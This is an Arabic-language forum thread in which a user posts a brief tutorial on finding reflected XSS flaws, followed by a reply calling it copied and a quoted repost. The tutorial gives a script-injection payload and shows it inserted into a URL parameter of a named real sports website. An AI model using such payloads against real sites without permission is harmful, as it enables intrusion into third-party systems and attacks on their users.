كيفية اكتشاف ثغرات xss حصرى

[zaid_mohammed2005]

انا عاوز الكل يدلع الهوت ميل



ندخل فى الشرح على طول لوووووووووووووول



اول حاجة تشوف الموقع الى انت عاوز تعرف فى ثغرة xss ولا لا

ادخل على الموقع والعب في لحد متلاقى لنك كدا



كود:

www.site.com/page.اى امتداد مش هتفرق/file=

اول لما تلاقى هذا النك تجر عليةعلى طول استثمار الثغرة عن طريق كود الجافا او الكود الخبيث

وهذا الكود الخبيث



كود:

( "><******>alert(1);</******> )

اذا ظهر هذة الشكل تعلم انك قد اكتشفت ثغرة xss





مثال

فى موقع الهوت ميل

كود:

http://msn.foxsports.com/mlb/players...Position&sp-q=

فس الشكل الى قلنا علية فوق تمام نجى بعد كلمة = الى فى الاخر نكتب الكود الخبيث

كود:

http://msn.foxsports.com/mlb/players?sp-x=playerPosition&sp-q="><******>alert(1);</******>

بالتوفيق اخوانى تم الشرح بواسطة MoHaNdKo


جميع الحقوق محفوظة MoHaNdKo



منتظر التثبيت

[hoss11hoaxs]

حلوة الثغرة ديت بس الموضوع منقول و المعلومة ديت الديناصور كان عرفها

[zakaria1971]

المشاركة الأصلية كتبت بواسطة zaid_mohammed2005

انا عاوز الكل يدلع الهوت ميل



ندخل فى الشرح على طول لوووووووووووووول



اول حاجة تشوف الموقع الى انت عاوز تعرف فى ثغرة xss ولا لا

ادخل على الموقع والعب في لحد متلاقى لنك كدا



كود:

www.site.com/page.اى امتداد مش هتفرق/file=

اول لما تلاقى هذا النك تجر عليةعلى طول استثمار الثغرة عن طريق كود الجافا او الكود الخبيث

وهذا الكود الخبيث



كود:

( "><******>alert(1);</******> )

اذا ظهر هذة الشكل تعلم انك قد اكتشفت ثغرة xss





مثال

فى موقع الهوت ميل

كود:

http://msn.foxsports.com/mlb/players...Position&sp-q=

فس الشكل الى قلنا علية فوق تمام نجى بعد كلمة = الى فى الاخر نكتب الكود الخبيث

كود:

http://msn.foxsports.com/mlb/players?sp-x=playerPosition&sp-q="><******>alert(1);</******>

بالتوفيق اخوانى تم الشرح بواسطة MoHaNdKo


جميع الحقوق محفوظة MoHaNdKo



منتظر التثبيت

g9g.amin@hotmail.fr